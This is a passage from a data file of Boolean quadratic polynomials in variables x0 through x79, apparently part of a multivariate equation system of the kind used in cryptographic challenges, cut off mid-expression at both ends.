+ x68*x71 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x77 + x68 + x69*x74 + x70*x72 + x70*x73 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x74 + x71*x78 + x71 + x72*x74 + x72*x76 + x72 + x73*x75 + x73*x76 + x73*x79 + x74*x75 + x74*x78 + x74 + x75*x77 + x76*x78 + x76 + x77*x78 + x77*x79 + x78*x79 + x79, x0*x1 + x0*x3 + x0*x6 + x0*x8 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x16 + x0*x18 + x0*x20 + x0*x21 + x0*x24 + x0*x25 + x0*x30 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x39 + x0*x40 + x0*x42 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x57 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x68 + x0*x69 + x0*x71 + x0*x75 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x7 + x1*x10 + x1*x11 + x1*x12 + x1*x14 + x1*x16 + x1*x18 + x1*x22 + x1*x24 + x1*x25 + x1*x28 + x1*x32 + x1*x33 + x1*x38 + x1*x42 + x1*x44 + x1*x45 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x52 + x1*x55 + x1*x56 + x1*x57 + x1*x58 + x1*x61 + x1*x63 + x1*x65 + x1*x67 + x1*x69 + x1*x70 + x1*x73 + x1*x76 + x1*x77 + x2*x3 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x11 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x21 + x2*x22 + x2*x27 + x2*x32 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x44 + x2*x46 + x2*x50 + x2*x54 + x2*x56 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x65 + x2*x67 + x2*x71 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x15 + x3*x17 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x34 + x3*x38 + x3*x39 + x3*x41 + x3*x44 + x3*x46 + x3*x48 + x3*x50 + x3*x57 + x3*x58 + x3*x60 + x3*x64 + x3*x65 + x3*x66 + x3*x69 + x3*x71 + x3*x72 + x3*x73 + x3*x75 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x20 + x4*x22 + x4*x23 + x4*x25 + x4*x28 + x4*x29 + x4*x32 + x4*x33 + x4*x37 + x4*x39 + x4*x40 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x49 + x4*x50 + x4*x55 + x4*x56 + x4*x58 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x74 + x4*x75 + x4*x78 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x13 + x5*x18 + x5*x19 + x5*x21 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x33 + x5*x35 + x5*x38 + x5*x44 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x55 + x5*x56 + x5*x57 + x5*x58 + x5*x65 + x5*x69 + x5*x70 + x5*x73 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x19 + x6*x20 + x6*x22 + x6*x27 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x46 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x64 + x6*x67 + x6*x70 + x6*x75 + x6*x77 + x6*x79 + x7*x10 + x7*x15 + x7*x20 + x7*x21 + x7*x22 + x7*x26 + x7*x27 + x7*x31 + x7*x34 + x7*x37 + x7*x38 + x7*x40 + x7*x43 + x7*x44 + x7*x46 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x56 + x7*x57 + x7*x58 + x7*x63 + x7*x65 + x7*x66 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x74 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x11 + x8*x12 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x27 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x38 + x8*x40 + x8*x43 + x8*x44 + x8*x45 + x8*x48 + x8*x49 + x8*x51 + x8*x52 + x8*x54 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x65 + x8*x70 + x8*x71 + x8*x74 + x8*x75 + x8*x77 + x8*x78 + x9*x10 + x9*x11 + x9*x17 + x9*x24 + x9*x28 + x9*x31 + x9*x33 + x9*x34 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x45 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x54 + x9*x58 + x9*x62 + x9*x63 + x9*x64 + x9*x68 + x9*x70 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x9*x78 + x9 + x10*x14 + x10*x17 + x10*x19 + x10*x20 + x10*x29 + x10*x30 + x10*x33 + x10*x34 + x10*x36 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x47 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x60 + x10*x63 + x10*x64 + x10*x65 + x10*x68 + x10*x70 + x10*x73 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x10*x78 + x10 + x11*x12 + x11*x13 + x11*x14 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x24 + x11*x26 + x11*x29 + x11*x31 + x11*x35 + x11*x36 + x11*x37 + x11*x42 + x11*x43 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x57 + x11*x59 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x75 + x11*x76 + x11*x77 + x12*x13 + x12*x15 + x12*x16 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x31 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x40 + x12*x41 + x12*x42 + x12*x44 + x12*x47 + x12*x49 + x12*x50 + x12*x51 + x12*x53 + x12*x54 + x12*x56 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x72 + x12*x75 + x12*x77 + x12*x79 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x24 + x13*x26 + x13*x27 + x13*x32 + x13*x36 + x13*x38 + x13*x40 + x13*x46 + x13*x52 + x13*x53 + x13*x54 + x13*x59 + x13*x62 + x13*x63 + x13*x64 + x13*x69 + x13*x71 + x13*x73 + x13*x77 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x21 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x30 + x14*x33 + x14*x34 + x14*x35 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x55 + x14*x56 + x14*x58 + x14*x60 + x14*x65 + x14*x67 + x14*x69 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x78 + x15*x16 + x15*x18 + x15*x22 + x15*x24 + x15*x26 + x15*x28 + x15*x34 + x15*x35 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x43 + x15*x44 + x15*x47 + x15*x49 + x15*x52 + x15*x54 + x15*x57 + x15*x61 + x15*x63 + x15*x65 + x15*x67 + x15*x68 + x15*x71 + x15*x72 + x15*x73 + x15*x75 + x15*x76 + x16*x18 + x16*x22 + x16*x24 + x16*x25 + x16*x28 + x16*x30 + x16*x32 + x16*x33 + x16*x35 + x16*x36 + x16*x38 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x46 + x16*x48 + x16*x49 + x16*x53 + x16*x54 + x16*x55 + x16*x56 + x16*x57 + x16*x59 + x16*x61 + x16*x62 + x16*x63 + x16*x66 + x16*x68 + x16*x71 + x16*x73 + x16*x76 + x16 + x17*x18 + x17*x20 + x17*x22 + x17*x23 + x17*x24 + x17*x26 + x17*x29 + x17*x31 + x17*x34 + x17*x35 + x17*x36 + x17*x37 + x17*x38 + x17*x41 + x17*x42 + x17*x47 + x17*x48 + x17*x53 + x17*x54 + x17*x58 + x17*x60 + x17*x61 + x17*x62 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x77 + x17*x78 + x17 + x18*x20 + x18*x23 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x42 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x53 + x18*x55 + x18*x56 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x69 + x18*x71 + x18*x75 + x18*x78 + x18 + x19*x25 + x19*x27 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x39 + x19*x41 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x53 + x19*x54 + x19*x59 + x19*x60 + x19*x62 + x19*x65 + x19*x67 + x19*x69 + x19*x71 + x19*x75 + x19*x76 + x20*x21 + x20*x22 + x20*x25 + x20*x30 + x20*x33 + x20*x36 + x20*x37 + x20*x38 + x20*x39 + x20*x41 + x20*x42 + x20*x44 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x52 + x20*x55 + x20*x57 + x20*x63 + x20*x65 + x20*x67 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x75 + x20*x76 + x20*x77 + x20*x79 + x21*x25 + x21*x26 + x21*x27 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x47 + x21*x50 + x21*x52 + x21*x54 + x21*x55 + x21*x56 + x21*x61 + x21*x62 + x21*x64 + x21*x65 + x21*x67 + x21*x69 + x21*x70 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x27 + x22*x32 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x42 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x51 + x22*x55 + x22*x57 + x22*x58 + x22*x60 + x22*x62 + x22*x63 + x22*x65 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x75 + x22*x77 + x23*x25 + x23*x27 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x36 + x23*x37 + x23*x39 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x56 + x23*x57 + x23*x60 + x23*x62 + x23*x63 + x23*x68 + x23*x69 + x23*x70 + x23*x72 + x23*x73 + x23*x75 + x23*x79 + x24*x25 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x39 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x57 + x24*x63 + x24*x64 + x24*x65 + x24*x66 + x24*x71 + x24*x72 + x24*x73 + x24*x75 + x24*x77 + x24 + x25*x26 + x25*x28 + x25*x32 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x40 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x50 + x25*x51 + x25*x52 + x25*x54 + x25*x55 + x25*x56 + x25*x59 + x25*x60 + x25*x62 + x25*x63 + x25*x64 + x25*x68 + x25*x72 + x25*x73 + x25*x76 + x25*x78 + x25 + x26*x30 + x26*x31 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x45 + x26*x48 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x58 + x26*x59 + x26*x61 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x76 + x26*x77 + x26*x79 + x26 + x27*x31 + x27*x32 + x27*x33 + x27*x35 + x27*x36 + x27*x37 + x27*x39 + x27*x42 + x27*x43 + x27*x46 + x27*x48 + x27*x54 + x27*x59 + x27*x60 + x27*x61 + x27*x63 + x27*x64 + x27*x65 + x27*x68 + x27*x71 + x27*x75 + x27*x76 + x27*x77 + x27*x78 + x27*x79 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x35 + x28*x39 + x28*x41 + x28*x45 + x28*x50 + x28*x52 + x28*x54 + x28*x56 + x28*x57 + x28*x58 + x28*x60 + x28*x66 + x28*x67 + x28*x68 + x28*x69 + x28*x70 + x28*x72 + x28*x73 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x33 + x29*x35 + x29*x37 + x29*x39 + x29*x40 + x29*x42 + x29*x44 + x29*x49 + x29*x50 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x70 + x29*x73 + x29*x74 + x29*x76 + x29*x79 + x29 + x30*x35 + x30*x38 + x30*x39 + x30*x40 + x30*x44 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x56 + x30*x57 + x30*x61 + x30*x65 + x30*x67 + x30*x70 + x30*x71 + x30*x77 + x30 + x31*x36 + x31*x38 + x31*x39 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x47 + x31*x48 + x31*x51 + x31*x55 + x31*x56 + x31*x57 + x31*x58 + x31*x59 + x31*x60 + x31*x62 + x31*x66 + x31*x67 + x31*x68 + x31*x70 + x31*x72 + x31*x76 + x31*x77 + x31*x78 + x31*x79 + x32*x33 + x32*x34 + x32*x37 + x32*x38 + x32*x40 + x32*x43 + x32*x44 + x32*x47 + x32*x48 + x32*x52 + x32*x54 + x32*x55 + x32*x57 + x32*x58 + x32*x63 + x32*x64 + x32*x66 + x32*x69 + x32*x71 + x32*x74 + x32*x77 + x32*x79 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x45 + x33*x49 + x33*x52 + x33*x55 + x33*x56 + x33*x58 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x68 + x33*x70 + x33*x72 + x33*x73 + x33*x75 + x33*x78 + x33*x79 + x34*x35 + x34*x36 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x46 + x34*x47 + x34*x49 + x34*x51 + x34*x54 + x34*x56 + x34*x58 + x34*x61 + x34*x62 + x34*x63 + x34*x67 + x34*x68 + x34*x70 + x34 + x35*x36 + x35*x38 + x35*x41 + x35*x44 + x35*x47 + x35*x49 + x35*x51 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x63 + x35*x66 + x35*x76 + x35*x77 + x36*x40 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x50 + x36*x52 + x36*x55 + x36*x59 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x74 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x44 + x37*x46 + x37*x47 + x37*x48 + x37*x51 + x37*x53 + x37*x54 + x37*x58 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x76 + x37 + x38*x39 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x48 + x38*x50 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x64 + x38*x65 + x38*x67 + x38*x70 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x48 + x39*x49 + x39*x50 + x39*x51 + x39*x53 + x39*x54 + x39*x57 + x39*x58 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x72 + x39*x73 + x39*x75 + x39*x76 + x39*x79 + x39 + x40*x42 + x40*x43 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x56 + x40*x58 + x40*x60 + x40*x62 + x40*x65 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x77 + x40*x78 + x40*x79 + x41*x42 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x57 + x41*x58 + x41*x59 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x68 + x41*x69 + x41*x72 + x41*x73 + x41*x77 + x41*x79 + x41 + x42*x44 + x42*x48 + x42*x52 + x42*x53 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x73 + x42*x77 + x43*x44 + x43*x48 + x43*x49 + x43*x51 + x43*x53 + x43*x57 + x43*x58 + x43*x60 + x43*x61 + x43*x62 + x43*x66 + x43*x67 + x43*x69 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x54 + x44*x59 + x44*x61 + x44*x62 + x44*x65 + x44*x67 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x76 + x44*x77 + x44*x78 + x44*x79 + x44 + x45*x46 + x45*x47 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x67 + x45*x69 + x45*x70 + x45*x72 + x45*x74 + x46*x47 + x46*x51 + x46*x55 + x46*x56 + x46*x59 + x46*x60 + x46*x61 + x46*x63 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x47*x49 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x58 + x47*x59 + x47*x61 + x47*x62 + x47*x63 + x47*x66 + x47*x67 + x47*x69 + x47*x78 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x61 + x48*x62 + x48*x64 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x78 + x48*x79 + x48 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x56 + x49*x58 + x49*x61 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x69 + x49*x74 + x50*x51 + x50*x52 + x50*x59 + x50*x62 + x50*x68 + x50*x71 + x50*x74 + x50*x75 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x63 + x51*x68 + x51*x70 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x52*x53 + x52*x54 + x52*x55 + x52*x58 + x52*x59 + x52*x63 + x52*x65 + x52*x68 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x76 + x52*x77 + x52*x79 + x52 + x53*x60 + x53*x61 + x53*x64 + x53*x65 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x75 + x53*x76 + x53*x79 + x54*x55 + x54*x56 + x54*x57 + x54*x58 + x54*x59 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x74 + x54*x76 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x62 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x74 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x56*x57 + x56*x58 + x56*x59 + x56*x61 + x56*x63 + x56*x65 + x56*x67 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56 + x57*x63 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x74 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x69 + x58*x75 + x58*x78 + x58*x79 + x58 + x59*x61 + x59*x63 + x59*x64 + x59*x70 + x59*x72 + x59*x73 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x70 + x60*x72 + x60*x73 + x60*x74 + x60*x75 + x60*x77 + x60*x79 + x61*x64 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x79 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x67 + x62*x69 + x62*x71 + x62*x74 + x62*x77 + x62*x78 + x62 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x70 + x63*x74 + x63*x75 + x63*x76 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x77 + x65*x66 + x65*x68 + x65*x70 + x65*x75 + x65*x77 + x65*x79 + x66*x67 + x66*x68 + x66*x71 + x66*x72 + x66*x75 + x66*x76 + x66*x77 + x66*x79 + x66 + x67*x70 + x67*x71 + x67*x72 + x67*x74 + x67*x75 + x67*x77 + x67*x78 + x68*x70 + x68*x72 + x68*x73 + x68*x75 + x68*x77 + x68*x78 + x69*x72 + x69*x73 + x69*x74 + x69*x76 + x69*x78 + x69*x79 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x76 + x71*x78 + x71 + x72*x74 + x72*x76 + x72*x79 + x72 + x73 + x74*x75 + x74*x78 + x74 + x75 + x76*x77 + x76 + x77*x79 + x78*x79 + x78 + 1, x0*x1 + x0*x2 + x0*x6 + x0*x11 + x0*x12 + x0*x14 + x0*x19 + x0*x23 + x0*x29 + x0*x33 + x0*x41 + x0*x42 + x0*x45 + x0*x47 + x0*x52 + x0*x54 + x0*x67 + x0*x68 + x0*x69 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0*x77 + x0*x78 + x1*x5 + x1*x6 + x1*x7 + x1*x10 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x22 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x33 + x1*x36 + x1*x38 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x49 + x1*x54 + x1*x58 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x71 + x1*x72 + x1*x74 + x1*x76 + x1*x77 + x1*x79 + x2*x7 + x2*x9 + x2*x10 + x2*x11 + x2*x13 + x2*x14 + x2*x17 + x2*x18 + x2*x21 + x2*x23 + x2*x26 + x2*x27 + x2*x28 + x2*x33 + x2*x35 + x2*x37 + x2*x38 + x2*x40 + x2*x42 + x2*x43 + x2*x46 + x2*x47 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x53 + x2*x55 + x2*x58 + x2*x63 + x2*x68 + x2*x69 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x14 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x22 + x3*x26 + x3*x28 + x3*x30 + x3*x31 + x3*x35 + x3*x36 + x3*x37 + x3*x39 + x3*x41 + x3*x42 + x3*x43 + x3*x46 + x3*x47 + x3*x49 + x3*x50 + x3*x54 + x3*x59 + x3*x65 + x3*x67 + x3*x68 + x3*x69 + x3*x72 + x3*x73 + x3*x75 + x3*x77 + x3*x78 + x3 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x18 + x4*x22 + x4*x23 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x31 + x4*x35 + x4*x38 + x4*x40 + x4*x41 + x4*x44 + x4*x46 + x4*x47 + x4*x54 + x4*x59 + x4*x61 + x4*x63 + x4*x64 + x4*x68 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x4 + x5*x14 + x5*x18 + x5*x21 + x5*x22 + x5*x24 + x5*x27 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x35 + x5*x37 + x5*x44 + x5*x49 + x5*x50 + x5*x52 + x5*x57 + x5*x58 + x5*x63 + x5*x64 + x5*x67 + x5*x68 + x5*x70 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x13 + x6*x17 + x6*x19 + x6*x20 + x6*x21 + x6*x25 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x35 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x59 + x6*x63 + x6*x65 + x6*x67 + x6*x71 + x6*x72 + x6*x79 + x6 + x7*x8 + x7*x11 + x7*x13 + x7*x15 + x7*x17 + x7*x18 + x7*x19 + x7*x22 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x31 + x7*x33 + x7*x34 + x7*x35 + x7*x37 + x7*x38 + x7*x39 + x7*x45 + x7*x48 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x70 + x7*x73 + x7*x77 + x7*x78 + x8*x11 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x25 + x8*x26 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x39 + x8*x42 + x8*x44 + x8*x46 + x8*x47 + x8*x49 + x8*x52 + x8*x54 + x8*x57 + x8*x58 + x8*x61 + x8*x62 + x8*x66 + x8*x68 + x8*x70 + x8*x72 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x11 + x9*x16 + x9*x17 + x9*x21 + x9*x22 + x9*x24 + x9*x26 + x9*x28 + x9*x29 + x9*x30 + x9*x32 + x9*x33 + x9*x37 + x9*x38 + x9*x44 + x9*x45 + x9*x48 + x9*x49 + x9*x50 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x65 + x9*x66 + x9*x69 + x9*x70 + x9*x73 + x9*x77 + x9*x78 + x9*x79 + x9 + x10*x13 + x10*x14 + x10*x16 + x10*x17 + x10*x18 + x10*x21 + x10*x22 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x29 + x10*x31 + x10*x33 + x10*x34 + x10*x35 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x47 + x10*x49 + x10*x52 + x10*x53 + x10*x54 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x66 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x76 + x10*x77 + x10*x78 + x10*x79 + x10 + x11*x13 + x11*x15 + x11*x16 + x11*x19 + x11*x20 + x11*x23 + x11*x26 + x11*x27 + x11*x29 + x11*x31 + x11*x33 + x11*x34 + x11*x35 + x11*x38 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x48 + x11*x49 + x11*x51 + x11*x53 + x11*x55 + x11*x58 + x11*x59 + x11*x60 + x11*x64 + x11*x65 + x11*x68 + x11*x69 + x11*x70 + x11*x72 + x11*x74 + x11*x75 + x11*x77 + x11 + x12*x13 + x12*x16 + x12*x20 + x12*x22 + x12*x23 + x12*x25 + x12*x29 + x12*x33 + x12*x34 + x12*x35 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x43 + x12*x45 + x12*x47 + x12*x49 + x12*x50 + x12*x52 + x12*x58 + x12*x60 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x69 + x12*x70 + x12*x71 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x21 + x13*x24 + x13*x25 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x39 + x13*x40 + x13*x42 + x13*x43 + x13*x44 + x13*x46 + 